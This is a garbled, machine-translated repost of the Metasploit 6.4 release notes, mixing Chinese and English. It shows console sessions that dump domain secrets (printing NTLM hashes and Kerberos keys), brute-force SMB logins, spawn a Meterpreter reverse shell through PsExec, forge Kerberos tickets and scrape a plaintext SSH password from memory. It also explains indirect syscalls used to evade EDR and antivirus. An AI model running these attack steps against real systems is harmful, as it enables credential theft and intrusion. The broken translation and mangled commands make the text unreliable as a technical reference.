最后更新于2024年3月25日星期一13:45:59 GMT

今天,Metasploit很高兴地宣布发布Metasploit框架6.4. 的发布已经一年多了 version 6.3 从那时起,该团队增加了许多新功能和改进.

For news reporters, please reach out to press@joyerianicaragua.com.

Kerberos Improvements

Metasploit 6.3在Metasploit中包含了对Kerberos身份验证的初始支持,是该版本中较大的特性之一. Since then, Metasploit继续进行与kerberos相关的改进, 增加了没有进入6的功能.3 cut.

  • The auxiliary/admin/kerberos/forge_ticket module was updated with:
    • 支持钻石和蓝宝石技术,除了原来的黄金和白银的技术.
    • Windows Server 2022使用的附加字段, 使其与最新的Windows目标兼容.
  • We added the post/windows/manage/kerberos_tickets post模块,该模块允许用户从受损主机转储Kerberos票据. 这与流行的Rubeus工具的功能类似 klist/dump 命令完全在内存中执行和操作. 有了这一点,用户现在可以利用无约束委托的实例.
  • The auxiliary/gather/windows_secrets_dump 模块已更新为在使用DCSync技术时支持pass-the-ticket身份验证 DOMAIN action). 这使用户能够仅在给定具有所需权限的有效Kerberos票据的情况下从目标转储所有秘密,而不需要通过用户名和密码进行身份验证.

Example of running the gather/windows_secrets_dump 模块,使用Kerberos身份验证和 DOMAIN action:

msf6 auxiliary(gather/windows_secrets_dump) > run rhost=192.168.123.133 username=vagrant password=vagrant smb::auth=kerberos domaincontrollerrhost=192.168.123.133 smb::rhostname=dc01.demo.local domain=demo.local action=DOMAIN
[*] Running module against 192.168.123.133

[+] 192.168.123.133:445 - 192.168.123.133:88 - Received a valid TGT-Response
[*] 192.168.123.133:445 - 192.168.123.133:445 - TGT MIT凭据缓存票据保存到/Users/user/.msf4/loot/20240319130521_default_192.168.123.133_mit.kerberos.cca_724176.bin
[+] 192.168.123.133:445 - 192.168.123.133:88 - Received a valid TGS-Response
[*] 192.168.123.133:445 - 192.168.123.133:445 - TGS MIT凭据缓存票据保存到/Users/user/.msf4/loot/20240319130521_default_192.168.123.133_mit.kerberos.cca_878194.bin
[+] 192.168.123.133:445 - 192.168.123.133:88 -收到一个有效的委托tgs响应
[*] 192.168.123.133:445 -开业服务控制经理
…
[*] 192.168.123.133:445 -使用krbtgt/DEMO的缓存凭证.LOCAL@DEMO.LOCAL vagrant@DEMO.LOCAL
[+] 192.168.123.133:445 - 192.168.123.133:88 - Received a valid TGS-Response
[*] 192.168.123.133:445 - 192.168.123.133:445 - TGS MIT凭据缓存票据保存到/Users/user/.msf4/loot/20240319130522_default_192.168.123.133_mit.kerberos.cca_113846.bin
[+] 192.168.123.133:445 - 192.168.123.133:88 -收到一个有效的委托tgs响应
[*] 192.168.123.133:445 - Bound to DRSR
[*] 192.168.123.133:445 -为用户解密哈希:CN=Administrator,CN=Users,DC=demo,DC=local
[*] 192.168.123.133:445 -解密用户的哈希:CN=Guest,CN=Users,DC=demo,DC=local
[*] 192.168.123.133:445 -解密用户哈希:CN=krbtgt,CN=Users,DC=demo,DC=local
[*] 192.168.123.133:445 -解密用户哈希值:CN=vagrant,CN=Users,DC=demo,DC=local
[*] 192.168.123.133:445 -为用户解密哈希:CN=DC01,OU=Domain Controllers,DC=demo,DC=local
[*] 192.168.123.133:445 -为用户解密哈希:CN=DESKTOP-QUUL3FQV,CN=Computers,DC=demo,DC=local
# SID's:
管理员:s - 1 - 5 - 21 - 1242350107 - 3695253863 - 1242350107 - 500
…

# NTLM hashes:
管理员:500:aad3b435b51404eeaad3b435b51404ee: c3adff536329bc46a8db473dc318d54a:::
…

# Full pwdump format:
管理员:500:aad3b435b51404eeaad3b435b51404ee: c3adff536329bc46a8db473dc318d54a:残疾= false,Expired=false,PasswordNeverExpires=true,PasswordNotRequired=false,PasswordLastChanged=202309151519,LastLogonTimestamp=never,IsAdministrator=true,IsDomainAdmin=true,IsEnterpriseAdmin=true::
…

# Kerberos keys:
管理员:aes256 - cts hmac - sha1, 96: f68d8df38809b402cf49799faf991e77d3d931235d1cfa20fab35d348c0fa6a6
…

[*] 192.168.123.133:445 - Cleaning up...
[*]辅助模块执行完成

DNS Configuration

使用Metasploit框架的主要好处之一是集成的方式来 pivot connections 在不需要设置代理的情况下遍历已建立的会话. 这意味着Metasploit经常在模块运行时处理各种服务的DNS查询. Over the past year, Metasploit已经改进了如何处理自己的DNS查询,以确保它们不会无意中泄露.

用户可以配置如何解析主机名. 这在旋转场景中特别有用,以确保使用已配置的名称服务器解析特定域(或所有域)的请求,该名称服务器可通过已建立的会话选择性地联系. As an example, 用户可以配置Metasploit,以确保他们对内部资源的DNS查询来自受感染的主机,而不是他们自己.

操作DNS配置的示例:

dns add --rule *.lab.lan --session 1 --index 1 192.0.2.1
dns add --rule honeypot.lab.lan --index 2 black-hole
dns add-static example2.lab.lan 192.0.2.201
DNS添加——索引1——规则*静态系统.0.2.1

Viewing the current configuration:

msf6 > dns print
Default search domain: N/A
Default search list:
  * tor.example.com
  * localdomain
Current cache size:    0

Resolver rule entries
=====================

   #规则解析器通信通道
   -  ----              --------    ------------
   1  *.lab.lan         192.0.2.1   Session 1
   2  honeypot.lab.lan  black-hole  N/A
   3  *
   .    \_              static      N/A
   .    \_              10.4.5.45
   .    \_              10.3.20.98


Static hostnames
================

   Hostname IPv4 Address IPv6地址
   --------          ------------  ------------
   example.lab.lan   192.0.2.200
   example2.lab.lan  192.0.2.201

New session types

Metasploit 6.4 adds support for new PostgreSQL, MSSQL, MySQL and SMB session types. SQL会话类型允许对远程数据库实例进行交互式查询,而新的SMB会话允许与共享进行交互, navigate directories, upload, and download files. 所有这些新的会话类型也可以与相关的辅助模块一起使用, 这意味着您可以获得单个SMB或SQL会话并针对该会话运行多个模块,而无需每次重新连接.

New SMB Session Type Examples

参数,可以打开一个新的SMB会话 CreateSession option:

msf6 > use scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > run rhost=192.168.123.133 username=vagrant password=vagrant CreateSession=true

[*] 192.168.123.133:445   - 192.168.123.133:445 - Starting SMB login bruteforce
[+] 192.168.123.133:445   - 192.168.123.133:445 - Success: '.\vagrant:vagrant' Administrator
[!] 192.168.123.133:445 - No active DB -凭据数据将不会被保存!
[*] SMB session 2 opened (192.168.123.1:52253 -> 192.168.123.133:445) at 2024-03-19 12:07:15 +0000
[*] 192.168.123.133:445 -扫描1个主机中的1个(100%完成)
[*]辅助模块执行完成
msf6 auxiliary(scanner/smb/smb_login) > 

The session will open as a new SMB session type:

msf6 auxiliary(scanner/smb/smb_login) > sessions
Active sessions
===============
  Id名称类型信息连接
  --  ----  ----  -----------                        ----------
  1         smb   SMB vagrant @ 192.168.123.133:445  192.168.123.1:53541 -> 192.168.123.133:445 (192.168.123.133)
msf6 auxiliary(scanner/smb/smb_login) >

与会话交互允许远程主机的直接文件操作,包括上传和下载支持:

msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
[*] Starting interaction with 1…
SMB (192.168.123.133) > ls
[-] No active share selected. Use the shares command to view available shares, and shares -i  to interact with one
SMB (192.168.123.133) > shares
Shares
======
    #  Name      Type          comment
    -  ----      ----          -------
    0  ADMIN$    DISK|SPECIAL  Remote Admin
    1 C$ DISK|SPECIAL默认共享
    2  foo       DISK
    3  IPC$      IPC|SPECIAL   Remote IPC
    4 NETLOGON DISK登录服务器共享
    5 SYSVOL DISK登录服务器共享

SMB (192.168.123.133) > shares -i foo
[+] Successfully connected to foo
SMB (192.168.123.136\foo) > ls
Shares
======
    #类型名称创建访问写入更改大小
    -  ----  ----                 -------                    --------                   -------                    -------                    ----
    0  DIR   .                    2023-09-15t18:56:07 +01:00 2023-10-10t12:39:26 +01:00 2023-10-10t12:39:26 +01:00
    1  DIR   ..                   2024-02-01t13:11:41 +00:00
    2  FILE  passwords.docx 2023-10-10T12:38:53+01:00 2023-10-10T12:38:53+01:00 2023-10-10T12:38:53+01:00

新的会话类型支持通过会话类型使用现有模块,例如Metasploit的secret的dump模块,该模块之后仍然会保持会话存活:

msf6 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/gather/windows_secrets_dump
[*] New in Metasploit 6.这个模块可以针对SESSION或RHOST
msf6 auxiliary(gather/windows_secrets_dump) > run session=-1

或者你可以运行Metasploit的PsExec支持SMB会话来打开Meterpreter会话:

msf6 > use windows/smb/psexec
[*]使用配置的有效负载窗口/meterpreter/reverse_tcp
[*] New in Metasploit 6.这个模块可以针对SESSION或RHOST
msf6 exploit(windows/smb/psexec) > run session=-1
…
[*] Sending stage (176198 bytes) to 10.4.227.91
[*] Meterpreter session 2 opened (10.4.227.91:4444 -> 10.4.227.91:50319) at 2024-03-19 16:41:45 +0000
meterpreter >

还支持Kerberos身份验证:

msf6 auxiliary(scanner/smb/smb_login) > run rhost=192.168.123.133 username=vagrant password=vagrant smb::auth=kerberos domaincontrollerrhost=192.168.123.133 smb::rhostname=dc01.demo.local domain=demo.local createsession=true 

[*] 192.168.123.133:445   - 192.168.123.133:445 - Starting SMB login bruteforce
[+] 192.168.123.133:445   - 192.168.123.133:88 - Received a valid TGT-Response
[*] 192.168.123.133:445   - 192.168.123.133:445 - TGT MIT凭据缓存票据保存到/Users/adfoster/.msf4/loot/20240319164301_default_192.168.123.133_mit.kerberos.cca_903639.bin
[+] 192.168.123.133:445   - 192.168.123.133:88 - Received a valid TGS-Response
[*] 192.168.123.133:445   - 192.168.123.133:445 - TGS MIT凭据缓存票据保存到/Users/adfoster/.msf4/loot/20240319164301_default_192.168.123.133_mit.kerberos.cca_231110.bin
[+] 192.168.123.133:445   - 192.168.123.133:88 -收到一个有效的委托tgs响应
[+] 192.168.123.133:445   - 192.168.123.133:445 - Success: 'demo.local\vagrant:vagrant' Administrator
[*] SMB session 3 opened (192.168.123.1:50336 -> 192.168.123.133:445) at 2024-03-19 16:43:01 +0000
[*] 192.168.123.133:445 -扫描1个主机中的1个(100%完成)
[*]辅助模块执行完成
msf6 auxiliary(scanner/smb/smb_login) >

New SQL Session Types Examples

Metasploit 6.4 has added support for PostgreSQL, MSSQL, MySQL session types. 参数,可以打开一个新的SMB会话 CreateSession option:

msf6 > use auxiliary/scanner/mssql_login
msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RPORT=1433 RHOSTS=192.168.2.242 USERNAME=user PASSWORD=password

Which will create a new SQL session:

[*] 192.168.2.242:1433    - 192.168.2.242:1433 - MSSQL -启动身份验证扫描程序.
[!] 192.168.2.242:1433 -没有活动DB——凭证数据将不会被保存!
[+] 192.168.2.242:1433    - 192.168.2.242:1433 -登录成功:WORKSTATION\user:password
[*] MSSQL session 1 opened (192.168.2.1:60963 -> 192.168.2.242:1433) at 2024-03-15 13:41:31 -0500
[*] 192.168.2.242:1433 -扫描1个主机中的1个(100%完成)
[*]辅助模块执行完成

Which you can interact with using sessions -i or sessions -i -1 与最近打开的会话交互:

msf6 auxiliary(scanner/mssql/mssql_login) > sessions

Active sessions
===============

  Id名称类型信息连接
  --  ----  ----   -----------                     ----------
  1         mssql  MSSQL test @ 192.168.2.242:143  192.168.2.1:60963 -> 192.168.23                               .242:1433 (192.168.2.242)

msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1
[*] Starting interaction with 1…
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
Response
========
    #  NULL
    -  ----
    0  Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
	    Oct 8 2022 05:58:25
	    版权所有2022微软公司
	    Windows Server 2022 Stand上的开发者版(64位)
       ard 10.0  (Build 20348: ) (Hypervisor)

The query_interactive 命令将启动一个交互式提示符,用于运行多个多行查询:

mssql @ 192.168.2.242:1433 (master) > query_interactive
[*]为mssql @ 192启动交互式SQL shell.168.2.242:1433 (master)
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
SQL >> select *
SQL *> from information_schema.tables
SQL *> where table_type = 'BASE TABLE';
[*]执行查询:select * from information_schema.tables where table_type = 'BASE TABLE';
Response
========
    # table_catalog table_schema table_name
    -  -------------  ------------  ----------             ----------
    0 master dbo spt_fallback_db BASE表
    1 master dbo spt_fallback_dev BASE表
    2 . master dbo spt_fallback_usg BASE表
    master dbo Users BASE TABLE
    5 master dbo spt_monitor BASE表
    6 master dbo MSreplication_options BASE表
SQL >>

Similar to SMB sessions, 新的SQL模块可以与多个辅助模块一起运行, available modules can be searched for:

msf6 > search session_type:smb session_type:postgres session_type:mssql session_type:mysql

对Windows计量器的间接系统调用支持

间接系统调用是一种众所周知的技术,通常用于绕过EDR/AV检测. 这种技术在执行动态分析时特别有用, 安全软件监控系统上的每个进程以检测任何可疑活动. 一种常见的方法是在Win32 API调用上添加用户域钩子, 尤其是那些经常被恶意软件使用的. 系统调用是一种直接运行系统例程并进入内核模式而无需通过Win32 API的方法.

This first implementation 重点是用对相应本机API的间接系统调用替换反射DLL注入(RDI)库使用的Win32 API调用. For example, VirtualAlloc 的系统调用所取代 ZwAllocateVirtualMemory. 因为RDI在Meterpreter及其扩展中无处不在, 对于这项初步工作来说,它是一个很好的候选者.

主要的困难是找到正确的系统调用号,因为不同Windows版本的系统调用号不一样. Also, EDRs usually hook the NTDLL native API, 使系统调用号的发现更具挑战性. 为此使用的技术是基于系统调用号按顺序分配的假设, starting from the number 0. 如果我们看看原生API函数是如何存储在内存中的, 系统调用号可以从相关的本机API函数在内存中的位置推断出来. 该技术包括选择系统调用函数(Zw…) from ntdll.dll 导出它们并按它们的内存地址升序排序. 一个给定的本机API函数的系统调用号就是它在这个排序列表中的索引. 这与 Halo's Gate.

我们采用的另一种技术是确保调用 syscall instruction is made through ntdll.dll. 这种行为有时被称为“间接系统调用”。. EDR/AV可以监视这一点,并标记任何不来自的系统调用 ntdll.dll as suspicious. This technique is directly taken from RecycledGate. Here, 复杂之处在于Meterpreter必须与从WinXP到最新版本的所有Windows版本兼容. 这个实现将负责解析 ntdll.dll and get the correct trampoline 执行系统调用时将使用的地址.

这项工作是第一步,我们预计今年会有更多的增加. 下一步是使用间接系统调用将Meterpreter及其扩展发出的额外Win32 API请求切换到相应的本机API. 长期目标是使间接系统调用成为任何未来基于windows的开发负载的标准, exploit, etc.). 用户不需要进行任何更改,就可以使用这些新更改运行Meterpreter.

Discoverability Improvements

“模块”的定义可能很模糊. In recent years, 一些模块已经开始在单个漏洞中包含多个cve,作为链的一部分.g., Proxy(Not)Shell),而其他cve则影响多个产品并保证多个模块(例如.g., Log4Shell). Furthermore, 没有利用特定漏洞的模块通常可以采取不同的操作, 比如伪造不同类型的Kerberos票据,或者为枚举运行不同的LDAP查询. As Metasploit development moves quickly, 每周都有新的内容发布, 用户很难找到他们想要的东西.

Metasploit 6.4做了一些改进,使用户更容易发现. One of the largest changes is the new Hierarchical Search feature. 这将导致Metasploit的内部搜索功能匹配模块中的其他字段, including the actions, targets and AKA aliases. As an example, this will cause the auxiliary/admin/kerberos/forge_ticket 模块,以便在用户搜索时显示 forge_golden because it is an action of the module:

msf6 auxiliary(scanner/mysql/mysql_hashdump) > search kerberos forge

Matching Modules
================

   #名称披露日期等级检查描述
   -  ----                                                 ---------------  ----    -----  -----------
   0辅助/ admin / kerberos / forge_ticket                .                正常无Kerberos银/金/钻石/蓝宝石票锻造
   1    \_ action: FORGE_DIAMOND                           .                .       .      Forge a Diamond Ticket
   2    \_ action: FORGE_GOLDEN                            .                .       .      Forge a Golden Ticket
   3    \_ action: FORGE_SAPPHIRE                          .                .       .      Forge a Sapphire Ticket
   4    \_ action: FORGE_SILVER                            .                .       .      Forge a Silver Ticket
   5    \_ AKA: Ticketer                                   .                .       .      .
   6    \_ AKA: Klist                                      .                .       .      .
   7 auxiliary/admin/kerberos/ms14_068_kerberos_checksum 2014-11-18 normal否MS14-068 Microsoft kerberos校验和验证漏洞


Interact with a module by name or index. 例如info 7,使用7或使用auxiliary/admin/kerberos/ms14_068_kerberos_checksum

msf6 auxiliary(scanner/mysql/mysql_hashdump) >

Windows Meterpreter Memory Searching

Metasploit 6.4为Windows Meterpreter添加了一个新功能,允许在支持正则表达式的情况下搜索进程内存中用户指定的指针. 这可以用来搜索和发现针附近的内存中潜在的敏感数据, similar to Linux's MimiPenguin tool. 这可以对与Meterpreter会话具有相同或更低特权级别的任何进程执行.

这个新的API目前由 post/multi/gather/memory_search module, 它可以用来搜索明文凭证——例如在OpenSSH的一些配置中:

msf6 post(multi/gather/memory_search) > run session=1 regex="publickey,password.*" process_names_glob="ssh*"

[*]运行模块对- DESKTOP-NO8VQQB\win10 @ DESKTOP-NO8VQQB (192.168.112.129). This might take a few seconds...
[*] Getting target processes...
[*]与以下进程运行:
        ssh.exe (pid: 2972)

[*] Memory Matches for ssh.exe (pid: 2972)
======================================

 匹配地址匹配长度匹配缓冲区内存区域开始内存区域大小
 -------------       ------------  ------------                                                                                    -------------------  ------------------
 0x0000000A00060DF0 127 "公钥,密码......3.......myverysecretpassword....................#.........#..........  0x0000000A00000000   0x0000000000090000
                                   ...........S......................"

[*] Post module execution completed

Get it

与往常一样,您可以使用 msfupdate 你可以在GitHub上获得自上一篇博客文章以来的更多变化细节:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. 要安装fresh而不使用git,您可以使用open-source-only Nightly Installers or the commercial edition Metasploit Pro

感谢Rapid7开发人员和Metasploit社区成员为提供最新Metasploit功能所做的辛勤工作, in particular: Alan Foster, Ashley Donaldson, Brendan Watters, Chris Granleese, Christophe de la Fuente, Dean Welch, Jack Heysel, Jacquie Harris, Jeffrey Martin, Navya Harika Karaka, Simon Janusz, Zach Goldman, Egor Kalinichev, and Spencer McIntyre.